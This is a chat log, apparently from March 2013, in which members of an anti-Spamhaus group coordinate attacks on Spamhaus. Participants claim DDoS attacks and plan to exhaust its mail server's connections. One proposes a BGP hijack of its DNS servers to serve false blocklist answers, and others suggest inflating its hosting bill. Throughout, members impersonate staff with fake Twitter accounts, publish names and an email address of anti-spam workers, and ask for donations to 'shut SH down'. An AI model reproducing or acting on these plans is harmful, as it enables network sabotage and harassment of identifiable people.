CloudFlare is currently unable to resolve your requested domain (www.spamhaus.org). There are two potential causes of this: [19.03.2013 02:47:51] Yuri: i try to regisster some twitter accounts on the name of some spamhaus team members [19.03.2013 02:47:59] Yuri: but looks all are used. [19.03.2013 02:48:04] Yuri: looks i found some more information about them [19.03.2013 02:48:34] eDataKing: post it to stophaus [19.03.2013 02:48:37] eDataKing: in the water cooler [19.03.2013 02:48:39] Antitheist: for me www.spamhaus.org works perfect :/ [19.03.2013 02:48:51] eDataKing: it has been back up since cloudflare [19.03.2013 02:57:22] Alex Optik: i said at once that spamhaus will live! [19.03.2013 02:57:52] eDataKing: what do you mean by that? [19.03.2013 02:58:16] Alex Optik: i mean i expected that they will be online!soon [19.03.2013 02:59:10] eDataKing: sure, that would make sense. They should always mitigate damages and be back. The damage is done, have you read the media lately? [19.03.2013 02:59:23] eDataKing: what is your take on it. Do you think they should be up or down? [19.03.2013 02:59:24] Alex Optik: by the way [19.03.2013 02:59:32] Alex Optik: they even added already 0/24 [19.03.2013 02:59:39] Spamahost: Wait, what if someone does something to cloudflare? ^^ hehe ;) [19.03.2013 02:59:41] Alex Optik: where is stophaus located [19.03.2013 02:59:48] eDataKing: yeah, I saw that [19.03.2013 03:00:06] eDataKing: pretty much a demonstration of one of the things we are exposing [19.03.2013 03:00:12] narko: they added the incoming mail server too [19.03.2013 03:00:13] narko: with the message [19.03.2013 03:00:14] narko: Please terminate service [19.03.2013 03:00:28] eDataKing: list-on-site [19.03.2013 03:01:19] Yuri: what a nice twitter https://twitter.com/carelstraten [19.03.2013 03:01:42] Yuri: picture update don;'t work on twitter right now. do it later. [19.03.2013 03:01:52] eDataKing: Alex, how do you feel about them using the SBL (which means that there is active spamming going on) to cause termination, that would otherwise not violate any AUP, so that they can keep their smear files up and avoid public exposure? [19.03.2013 03:02:00] eDataKing: jk, but seriously dude ;) [19.03.2013 03:02:15] Yuri: looks they are realy afraid. [19.03.2013 03:02:31] eDataKing: they are definitely in fear. [19.03.2013 03:02:37] Yuri: we will protect stophaus.com from closing. [19.03.2013 03:02:50] eDataKing: Alex, just so you know. I am open to all opinions as long as defamation is not one of them [19.03.2013 03:03:30] narko: donate me $3000 to sue them in the united kingdom where their companys is located for putting my ip on SBL :P [19.03.2013 03:03:42] eDataKing: stability is the most important thing. The more content that is indexed in their files, the more media it gets and the people get to decide for themselves what they think is right [19.03.2013 03:03:55] eDataKing: they would win [19.03.2013 03:04:03] eDataKing: or so they say [19.03.2013 03:22:36] Yuri: heh stophaus.com is listed in the DBL stophaus.com [19.03.2013 03:22:56] Yuri: looks they chaged some DNSs [19.03.2013 03:22:57] Yuri: Name Server:NS20.JA.NET Name Server:NS3.SPAMHAUS.ORG Name Server:NS-1370.AWSDNS-43.ORG Name Server:NS-85.AWSDNS-10.COM Name Server:NS-1743.AWSDNS-25.CO.UK Name Server:NS-971.AWSDNS-57.NET Name Server:FI503-NIJ.SURFNET.NL Name Server:FI503-HFJ.SURFNET.NL [19.03.2013 03:26:27] narko: yyes [19.03.2013 03:26:37] narko: probably the old company rehem did not want to keep them after all that ddos :P [19.03.2013 03:28:35] Alex Optik: but the question is [19.03.2013 03:28:40] narko: a technique with AWSDNS (Amazon) is to just make a few gbit/s of queries for spamhaus.org [19.03.2013 03:28:43] narko: it will not go down.. [19.03.2013 03:28:44] Alex Optik: who will keep them? [19.03.2013 03:28:48] narko: but their bill will be $100000 [19.03.2013 03:28:56] Alex Optik: with such spec [19.03.2013 04:05:00] narko: i am going to sleep now and we will do some more attakcs tomrow [19.03.2013 04:05:03] narko: their mail server is sitll down [19.03.2013 04:05:06] narko: and null routed [19.03.2013 04:05:17] narko: so people cannot get de-listed [19.03.2013 04:07:21] Yuri: Ok, fine. I am go sleep too [19.03.2013 04:14:10] Yuri: i am off [19.03.2013 06:02:26] eDataKing: James Senase of Cook County Illinois Engineer for giant ESP anti-spam team. Kansas City http://stophaus.com/showthread.php?120-James-Senase-of-Kansas-City-IL&p=146#post146 [19.03.2013 07:05:46] eDataKing: Someone was asking about images. There are some photos added to the forum now. Here is an examplehttp://stophaus.com/showthread.php?65-Main-Info-for-Kelly-David-Chien-of-Chienworks-aka-ToastedSPAM [19.03.2013 07:12:31] simomchen: 90% new lists about Andrew Stephens in spamhaus today [19.03.2013 07:13:19] eDataKing: but they have called everyone that is not me a sock and attributed everything they call negative to me. [19.03.2013 07:13:47] eDataKing: And we all know I am not here alone, nor can I do the things that have been accomplished [19.03.2013 07:13:48] simomchen: they guess Andrew Stephens ddos them , so , list and list and list... [19.03.2013 07:13:56] eDataKing: but you can see why my ROKSO file is so big now [19.03.2013 07:14:22] eDataKing: they guess Andrew did everything to them. They can't imagine another possibility [19.03.2013 07:14:54] eDataKing: but you see they guess and list...never confirming [19.03.2013 07:15:02] eDataKing: and that is another of the big points about them [19.03.2013 07:15:54] simomchen: they became carzy [19.03.2013 07:16:19] simomchen: so , they leave perish closer , hehe [19.03.2013 07:17:39] simomchen: look at the time of their least lists [19.03.2013 07:17:46] simomchen: few seconds each one [19.03.2013 07:18:20] simomchen: 19-Mar 03:32 GMT 19-Mar 03:31 GMT 19-Mar 03:27 GMT 19-Mar 03:26 GMT 19-Mar 03:17 GMT [19.03.2013 07:19:20] simomchen:http://www.spamhaus.org/rokso/spammer/SPM1175/andrew-stephens-mail-mascot [19.03.2013 07:19:31] simomchen: what the fuck , they list a photo [19.03.2013 07:19:36] simomchen: shit [19.03.2013 07:20:05] simomchen: they made invasion of privacy in the internet [19.03.2013 07:21:21] simomchen: is there a spy of SH in this group ? [19.03.2013 07:21:27] simomchen: why they know your skype ? [19.03.2013 07:23:02] eDataKing: because edataking has been my skype for a long time [19.03.2013 07:41:09] eDataKing: Wow, [19.03.2013 07:41:10] eDataKing: http://stophaus.com/showthread.php?124-Spamhaus-libels-a-Church-with-Verifiable-Proof-of-Fabrication&p=150#post150 [19.03.2013 08:01:24] Yuri: good morning [19.03.2013 08:01:32] Yuri: it was short night for me.... fuck [19.03.2013 08:01:40] Yuri: spamhaus is down ? again :) ? [19.03.2013 08:02:09] Yuri: looks it's some our friend work ---- 6:26:22 AM) aurora67@jabber.se: ok (6:57:19 AM) aurora67@jabber.se: hey (6:57:19 AM) aurora67@jabber.se: server is down ) (6:57:20 AM) aurora67@jabber.se: spamhaus.org (6:57:24 AM) aurora67@jabber.se: i think its me who taking it down (6:57:25 AM) aurora67@jabber.se: :D -------- [19.03.2013 08:02:31] simomchen: it works at my location [19.03.2013 08:02:52] Yuri: try to browse pages. may be it's just some cache [19.03.2013 08:03:15] simomchen: http://www.spamhaus.org/sbl/latest/ [19.03.2013 08:03:23] simomchen: this page having some new lists [19.03.2013 08:03:38] simomchen: so, not a cache [19.03.2013 08:03:57] Yuri: yes. now it's opened [19.03.2013 08:05:14] Yuri: hey try to find and fuckup stophaus.com website [19.03.2013 08:05:25] simomchen: yes [19.03.2013 08:05:27] eDataKing: http://www.webhostingtalk.com/showthread.php?p=8606855#post8606855 [19.03.2013 08:05:43] eDataKing: Yuri: <<< hey try to find and fuckup stophaus.com website [19.03.2013 08:05:47] eDataKing: what do you mean by that? [19.03.2013 08:06:08] simomchen: they wanna to take stophais.com down [19.03.2013 08:06:18] eDataKing: well hell yeah they do [19.03.2013 08:06:35] eDataKing: it exposes all the things they have spent years trying to hide from the public [19.03.2013 08:07:00] eDataKing: and look at the responses that people are giving. People are actually stating how much they don't like SPamhaus now. [19.03.2013 08:07:10] eDataKing: That hasn't happened in...well...ever really [19.03.2013 08:07:20] Yuri: we changed IP of that site at night [19.03.2013 08:07:23] Yuri: and they add new SBLs [19.03.2013 08:07:24] Yuri: for that [19.03.2013 08:07:32] eDataKing: yes and they always will [19.03.2013 08:07:47] eDataKing: Did you follow the fight we had for 2 years before this? [19.03.2013 08:08:03] eDataKing: it was all over these practices. These practices are the reason we are all here [19.03.2013 08:08:09] Yuri: what does SR record mean in SBLs? SR01 SR32 SR15 and etc [19.03.2013 08:08:20] eDataKing: if they didn't do that, I would be out helping a person find a place to live right now. [19.03.2013 08:08:36] eDataKing: the level of the Operative that reported it I suppose. [19.03.2013 08:08:39] eDataKing: Not really sure [19.03.2013 08:09:14] Yuri: aha.... [19.03.2013 08:09:25] Yuri: looks i see one number who create SPAM sbls [19.03.2013 08:09:29] Yuri: other one do virus SBLs [19.03.2013 08:09:32] Yuri: and etc [19.03.2013 08:09:34] Yuri: cool [19.03.2013 08:09:55] Yuri: i will ask our programmer to parce all that information so we see who create SBLs [19.03.2013 08:09:58] eDataKing: ok, that is news to me [19.03.2013 08:10:02] eDataKing: good data though [19.03.2013 08:10:09] simomchen: how many guys having asn in this group ? [19.03.2013 08:10:11] Yuri: then we could be possible to find out more information [19.03.2013 08:10:25] Yuri: much of the group is sleeping [19.03.2013 08:10:30] simomchen: how about we hijack spamhaus's IP together , if can not take them down again ? [19.03.2013 08:10:59] Yuri: we would like to. [19.03.2013 08:11:08] Yuri: but we need upstream who will allow us to do that [19.03.2013 08:11:25] simomchen: we can just announce those over IX exchange [19.03.2013 08:11:34] simomchen: them , do not need upstream allow this [19.03.2013 08:11:39] nmetluk: Russian upstreams allow:) [19.03.2013 08:13:10] Yuri: (at least we have one good russian upstream here) [19.03.2013 08:14:15] Yuri: spamhaus desided to bring some shit sbls toinfiumhost.com, /22 listed just for nothing. and some extra SBLs to pinspb [19.03.2013 08:14:28] eDataKing: that is how they do it [19.03.2013 08:14:35] eDataKing: that is why it is terrorism [19.03.2013 08:14:57] simomchen: SH will force upstreams disconnect them [19.03.2013 08:15:05] simomchen: that's their next step [19.03.2013 08:15:15] Yuri: they are too big to be disconneted [19.03.2013 08:15:22] eDataKing: yes, the upstream does not really make the decision because the decision is coerced through damages [19.03.2013 08:15:43] eDataKing: who is too big to be disconnected? [19.03.2013 08:16:03] simomchen: infiumhost.com ? [19.03.2013 08:16:31] Yuri: pinspb.ru [19.03.2013 08:16:33] Yuri: gpt.ru [19.03.2013 08:16:42] Yuri: and other that was with some new sbls today [19.03.2013 08:16:50] Yuri: currenty it's just nothing serious [19.03.2013 08:16:58] Yuri: they keep searching [19.03.2013 08:17:24] eDataKing: most upstreams will at least look at the situation at hand and make a decision based on the reality and not just a false report [19.03.2013 08:17:27] simomchen: they started searching since they downed , I think [19.03.2013 08:17:33] eDataKing: unless they are scared of spamhaus and many of them are [19.03.2013 08:17:56] eDataKing: [ThomasSpamhaus] We successfully managed to bring http://t.co/QRae2HxTB5 online again. We are currently in the process of restoring the remaining services. ThomasSpamhaus 2:15web [19.03.2013 08:19:10] simomchen: why linkford didn't said anything in this case ? does that old guy already dead ? [19.03.2013 08:19:59] Yuri: i think he doesn't do any business here. he has enough angry ugly managers. [19.03.2013 08:21:11] simomchen: usually , they will release something in their SH main site after they 'resolved' issue [19.03.2013 08:21:37] eDataKing: linford does not speak on twitter [19.03.2013 08:21:40] eDataKing: he posts to nanae' [19.03.2013 08:21:47] eDataKing: under a fake name [19.03.2013 08:22:12] eDataKing: usually Frank Bollo usingfrank.o.bollo@googlemail.com [19.03.2013 08:22:56] eDataKing: groups.google.com/group/news.admin.net-abuse.email/browse_thread/thread/1c549a3efc28d70a [19.03.2013 08:23:16] Yuri: aha... i see [19.03.2013 08:24:33] simomchen: Donate to the fund needed to shut SH down for good. Send your donations via Bitcoin to 17SgMS56W6s1oMU7oEZ66NFkbEk1socnTJ [19.03.2013 08:24:38] simomchen: who's account ? [19.03.2013 08:24:44] simomchen: Narko ? [19.03.2013 08:28:29] eDataKing: that one is a new BC account [19.03.2013 08:33:06] Yuri: yes [19.03.2013 08:33:12] Yuri: but he better preffer servers [19.03.2013 08:33:40] simomchen: well , let me register a bitcoin account , [19.03.2013 08:55:10] eDataKing: If we want to hit them hard we would be looking at their premium services like spamhauswhitelist.com and spamteq.com [19.03.2013 08:55:17] eDataKing: they are both on the same server. [19.03.2013 08:55:33] eDataKing: and from my understanding, that is the same server that the RBLs are on [19.03.2013 09:00:56] eDataKing: If this isn't a load of crap. On the webpage for SH datafeeds at Spamteq.com: Spam capture rate 98.92% Spam capture, pre-data 98.27% False positives 0.00% [19.03.2013 09:01:08] eDataKing: How much do you believe that? [19.03.2013 09:01:57] eDataKing: Spamhaus Datafeed Query Service is available from only US$250 per annum through to subscription rates costing a few cents per user per annum. [19.03.2013 09:02:22] eDataKing: How mad would those customers that paid $250 a year for the datafeed would be if they couldn't access it? [19.03.2013 09:36:22] eDataKing: Enjoy! http://stophaus.com/showthread.php?126-The-Spamtec-Thread&p=153#post153 [19.03.2013 09:54:23] eDataKing: Definitions of Cyber-Terrorism in US and UK http://stophaus.com/showthread.php?127-Cyber-Terrorism-is-still-Terrorism&p=154#post154 [19.03.2013 10:40:21] eDataKing: Anyone know iMedia (Lindsay)? [19.03.2013 10:40:28] eDataKing: asset or liability? [19.03.2013 11:16:30] Yuri: ифсл [19.03.2013 11:16:33] Yuri: back [19.03.2013 11:16:37] Yuri: let me read [19.03.2013 12:08:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: . [19.03.2013 12:09:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha false positives 0.00% hahahahahaa [19.03.2013 12:09:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: skem [19.03.2013 12:09:53] simomchen: skem ? [19.03.2013 12:10:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: habbo hotel speak for scam [19.03.2013 12:10:31] simomchen: what's skem ? [19.03.2013 12:10:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: SKEM! [19.03.2013 12:10:56] simomchen: :) [19.03.2013 12:12:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: edataking/yuri: appearntly the captcha for the registration on the forum is broken [19.03.2013 12:13:34] Yuri: ok, we check [19.03.2013 12:35:46] Antitheist: lol, anonymous indonesia took the responsibility for the spamhaus ddos [19.03.2013 12:35:51] Antitheist: https://twitter.com/anonnewsindo [19.03.2013 12:36:38] Antitheist: wait no, its all over softpedia! hahaha [19.03.2013 12:37:31] Antitheist: http://news.softpedia.com/news/Anonymous-Hackers-Launch-DDOS-Attack-Against-Spamhaus-338382.shtml [19.03.2013 12:46:11] narko: http://www.spamhaus.org/sbl/query/SBL179322 [19.03.2013 12:46:39] Antitheist: http://www.spamhaus.org/sbl/query/SBL179321 [19.03.2013 12:51:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: seriously forum, fuck off with your 'flood' [19.03.2013 12:51:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a few kb of text is not a 'flood' [19.03.2013 12:51:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a few gb of text would be a flood [19.03.2013 12:51:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which fucking nerd coded that shit [19.03.2013 12:54:05] Yuri: SBLs - it's almost all they could do, nothing more. [19.03.2013 12:55:30] Yuri: people report that MAIL from spamhaus start working [19.03.2013 12:55:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oeh! spam! [19.03.2013 12:56:03] Antitheist: the mail is their weakest point, since cloudflare cannot protect it [19.03.2013 12:56:22] Antitheist: so we need to hit there. the result means no SBL removals :) [19.03.2013 12:56:33] Antitheist: mad mad admins pulling off hair :D [19.03.2013 12:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just run the piece of shit out of filedescriptors.. [19.03.2013 12:56:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its an smtp server... max 1000 tcp sessions at a time [19.03.2013 12:56:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not that hard :P [19.03.2013 12:57:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: those things were never coded for hostile environments [19.03.2013 12:57:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 3 connections per ip per minute or so, 1000 max at a time [19.03.2013 12:57:32] Antitheist: how many smtp servers they have? lets see [19.03.2013 12:57:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i think now they have 2 [19.03.2013 12:57:50] Antitheist: LOL [19.03.2013 12:57:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as in the xs4all block there now -also- is an smtp-ext-layer-b.spamhaus.org [19.03.2013 12:58:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: instead of just smtp-ext-layer.spamhaus.org [19.03.2013 12:58:02] Antitheist: dig mx spamhaus.org [19.03.2013 12:58:11] Antitheist: make sure you sit tight [19.03.2013 12:58:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha gmail [19.03.2013 12:58:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha [19.03.2013 12:58:49] Antitheist: gmail apps hahaha :P aka we got fucked we need the biggest giants to host us [19.03.2013 12:59:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well i think xs4all already told them to take their crap and leave [19.03.2013 12:59:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but they have to give em a while [19.03.2013 13:01:17] narko: ------------------------------------------------------------------------ The Spamhaus Project - SBL International Anti-Spam System ------------------------------------------------------------------------ Thank you for contacting the Spamhaus Block List. This response is sent to let you know that your query was received and will be dealt with as soon as possible. [19.03.2013 13:01:23] narko: i just got this from my email sent 10 hours ago [19.03.2013 13:01:27] narko: i think their mail is back up now [19.03.2013 13:01:59] Antitheist: it is [19.03.2013 13:02:03] Antitheist: since its gmail [19.03.2013 13:02:35] Yuri: ;; QUESTION SECTION: ;spamhaus.org. IN MX ;; ANSWER SECTION: spamhaus.org. 300 IN MX 10 ASPMX3.GOOGLEMAIL.COM. spamhaus.org. 300 IN MX 1 ASPMX.L.GOOGLE.COM. spamhaus.org. 300 IN MX 5 ALT1.ASPMX.L.GOOGLE.COM. spamhaus.org. 300 IN MX 5 ALT2.ASPMX.L.GOOGLE.COM. spamhaus.org. 300 IN MX 10 ASPMX2.GOOGLEMAIL.COM. [19.03.2013 13:02:40] Yuri: wtf [19.03.2013 13:02:49] Yuri: lol :))) [19.03.2013 13:02:52] Yuri: megalol [19.03.2013 13:03:10] Yuri: can we spam there? [19.03.2013 13:03:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they don't resolve sbl [19.03.2013 13:03:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [19.03.2013 13:03:20] Yuri: i think we can send them mass mail to delist all SBLs :) [19.03.2013 13:03:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hell why not haha [19.03.2013 13:03:31] Yuri: we have database of all SBLs. [19.03.2013 13:03:43] Yuri: but the problem is we could send them from 1 IP/email ? [19.03.2013 13:03:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: reason 'no permit to store and process personal details in the first place' [19.03.2013 13:03:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 13:03:53] Yuri: we can put different emails as back emails [19.03.2013 13:04:20] narko: I will also use google apps [19.03.2013 13:04:24] narko: then the SBL means nothing :P [19.03.2013 13:04:36] Antitheist: its only for mail [19.03.2013 13:04:58] simomchen: they will sent a email to google for disable your google app account [19.03.2013 13:05:10] narko: i'm a paying customer of google since 2007 [19.03.2013 13:05:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the sbl means nothing anyway [19.03.2013 13:05:15] simomchen: I disabled more them 3 google app accounts by them before [19.03.2013 13:05:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as google doesn't resolve sbl [19.03.2013 13:05:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 13:05:26] narko: yes but [19.03.2013 13:05:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: google has its own stuff [19.03.2013 13:05:30] narko: people will start ignoring their invoices [19.03.2013 13:05:35] narko: because they dont get the emails [19.03.2013 13:05:35] narko: lol [19.03.2013 13:05:52] Yuri: hey. [19.03.2013 13:05:59] Yuri: they just use google to forward email [19.03.2013 13:06:27] Antitheist: can someone post headers of the automatic mail received by them? [19.03.2013 13:06:37] Antitheist: from them i mean [19.03.2013 13:06:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: probably still comes from xs4all [19.03.2013 13:06:45] Antitheist: the automatic SBL removal shit [19.03.2013 13:06:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko had one [19.03.2013 13:07:24] narko: yes but I use WHMCS [19.03.2013 13:07:27] narko: i can't see the headers [19.03.2013 13:08:01] Antitheist: but you have an smtpd there [19.03.2013 13:08:19] narko: i can see their response [19.03.2013 13:08:24] narko: if i start the listen [19.03.2013 13:08:35] Yuri: narko, check email headers [19.03.2013 13:08:39] Yuri: what IP stands there [19.03.2013 13:09:21] narko: Mar 19 11:00:20 localhost sendmail[16474]: r2JB0KxL016474: from=, size=1716, class=-100, nrcpts=1, msgid=, proto=ESMTP, daemon=MTA, relay=[82.94.216.238] [19.03.2013 13:10:22] Antitheist: yes its smtp-ext-layer.spamhaus.org [19.03.2013 13:11:26] Antitheist: ;; QUESTION SECTION: ;europe.spamhaus.org. IN MX ;; ANSWER SECTION: europe.spamhaus.org. 300 IN MX 10 smtp-ext-layer.spamhaus.org. [19.03.2013 13:13:08] Yuri: so we see that all is stand in the same rack [19.03.2013 13:13:23] narko: lol [19.03.2013 13:13:25] Antitheist: Yuri you got spamhaus pissed on corbina, right now 2 /24s and 1 /23s listed [19.03.2013 13:13:34] narko: they now listed 2 x /24 and 1x /23 of Corbina due to this site [19.03.2013 13:14:20] narko: are they anti-spam or anti-stophaus (wasntme) [19.03.2013 13:14:32] Antitheist: they are pro-money [19.03.2013 13:14:41] Antitheist: and stophaus makes them lose it :) [19.03.2013 13:14:42] narko: I want a non-profit that i can buy a boat with too [19.03.2013 13:15:07] Antitheist: no you got the idea wrong [19.03.2013 13:15:21] Antitheist: its non profit for ISPS (you wont have any profit from using their shitlists) [19.03.2013 13:15:23] Yuri: i tell you the IP where to fuck them off. second [19.03.2013 13:15:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now, they're basically, committing plain old censorship and blackmail [19.03.2013 13:15:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats good [19.03.2013 13:15:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: post that to the forum [19.03.2013 13:15:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with screenshots of those listings [19.03.2013 13:15:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as obviousy, the forum, is not a spam source or whatever. [19.03.2013 13:15:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: this is plain old spamhaus censorship [19.03.2013 13:15:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can't get clearer than that [19.03.2013 13:16:23] narko: i know a good lawyer in the UK [19.03.2013 13:16:28] Yuri: SBL179332 78.107.19.0/24 corbina.net 19-Mar 11:04 GMT Spammer hosting (escalation) SBL179331 85.21.78.0/24 corbina.net 19-Mar 11:04 GMT Spammer hosting (escalation) SBL179330 195.14.50.0/23 corbina.net 19-Mar 11:03 GMT Spammer hosting (escalation) FINE :)))) [19.03.2013 13:16:30] narko: but is that the correct place to do it? [19.03.2013 13:19:57] narko: http://www.mediaite.com/cease-and-desist-generator/ [19.03.2013 13:19:57] narko: :P [19.03.2013 13:22:17] Antitheist: lets put stophaus in /etc/hosts to continue using it, but point A record to various datacenters [19.03.2013 13:22:23] Antitheist: i want a rokso party :D [19.03.2013 13:22:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm. [19.03.2013 13:22:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: im considering to announce all of spamhaus their sbl/zen dns servers as /32 on amsix, decix, nl-ix [19.03.2013 13:23:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with a piece of perl behind it that gives -this- answer [19.03.2013 13:23:26] Antitheist: is that allowed? [19.03.2013 13:23:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: A? *.*.*.*.zen.spamhaus.org A 127.0.0.4 (shitlisted good) [19.03.2013 13:23:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TXThttp://www.stophaus.com/forum.php/?some post explaining why its a bad idea to resolve spamhaus [19.03.2013 13:24:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so -everyone- that resolves spamhaus and is closer in bgp hops to us than to them gets that in their mail [19.03.2013 13:24:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the rest of em will no doubt read it in the press or on forums or on nanog [19.03.2013 13:24:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 13:24:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now, we might need a new asn shortly after that hahaha [19.03.2013 13:24:37] narko: do it ! :D [19.03.2013 13:24:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: will get coding on something that answers on 0.0.0.0 and actually -binds- to 0.0.0.0 [19.03.2013 13:25:08] narko: yum install bind [19.03.2013 13:25:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: either have to put all those ips on the box, or switch off the kernels own udp stack for it [19.03.2013 13:25:16] Antitheist: dnsmasq does that [19.03.2013 13:25:21] Antitheist: out of the box [19.03.2013 13:25:36] Antitheist: and uses /etc/hosts or upstream dns (google, opendns, whatever) [19.03.2013 13:25:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah but dnsmasq won't give me an eth0 with 0.0.0.0 netmask 0.0.0.0 as its ip [19.03.2013 13:25:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and still answers to all arp queries from the router for each ip trying to be addressed on it [19.03.2013 13:25:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 13:26:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well i could actually run it -on- one of our routers... [19.03.2013 13:26:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and just put the ips on dummy0 and redistribute static/kernel/interfaces [19.03.2013 13:26:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and indeed, just use bind in that case... put them in roots.hint or something [19.03.2013 13:27:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i'll think of something.. [19.03.2013 13:27:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gonna take a few hours tho [19.03.2013 13:28:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm.. a tun/tap interface also won't interfere with the udp.. as it won't consider the process that opens the tun device as part of that box [19.03.2013 13:29:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (things were so much easier when we just had dos and a packet driver on int60h lol [19.03.2013 13:29:10] narko: (wait) [19.03.2013 13:29:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: none of that 'the kernel wants to do something by itself for that protocol number' [19.03.2013 13:29:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 13:29:20] narko: revert everything [19.03.2013 13:30:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm... iptables nat could do it.... but not for 'half the fucking internet at a time' [19.03.2013 13:31:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm.. the ips don't change that often, maybe they will change during this lol [19.03.2013 13:31:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so its not so much an issue if bind doesn't exactly properly bind to all things [19.03.2013 13:31:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: when ips change a lot [19.03.2013 13:35:08] Yuri: WTF [19.03.2013 13:35:11] Yuri: spamhaus realy angry [19.03.2013 13:35:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: why does stophaus.com say / FORBIDDEN [19.03.2013 13:35:19] Yuri: they found our fake twitter account and suspend it [19.03.2013 13:35:28] Yuri: sec. i update php for gd [19.03.2013 13:35:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah [19.03.2013 13:35:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ok [19.03.2013 13:35:33] Yuri: so capcha work [19.03.2013 13:35:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also fix that when i post a reply to my own post it posts its 3 times and then goes 'omg flood!' [19.03.2013 13:35:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: instead of just once [19.03.2013 13:36:31] Yuri: yes. it's should edataking do. [19.03.2013 13:51:59] Yuri: SQL injection should be like this onehttps://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-snc7/418973_4873305585227_364911139_n.jpg [19.03.2013 14:15:38] Yuri: i fix the server with stophaus [19.03.2013 14:20:36] narko: their new mail ip is null routed [19.03.2013 14:45:13] Antitheist: http://www.spamhaus.org/sbl/latest/ [19.03.2013 14:45:21] Antitheist: 11 snowshoe ranges for today [19.03.2013 14:45:47] Yuri: i see very hight activitu today [19.03.2013 14:45:49] narko: and 6 blocks related to a vbulletin forum [19.03.2013 14:45:50] Yuri: in twitter [19.03.2013 14:45:59] Yuri: after the new that anonymouse ddos spamhaus [19.03.2013 14:46:09] Yuri: news.softpedia.com [19.03.2013 14:46:16] Antitheist: they think its anonymous because of Svens pastebin [19.03.2013 14:46:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also good [19.03.2013 14:46:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: then the rest of anon also thinks its anon :P [19.03.2013 14:47:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and starts to help [19.03.2013 14:47:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 14:47:17] Yuri: wow what a news [19.03.2013 14:47:17] 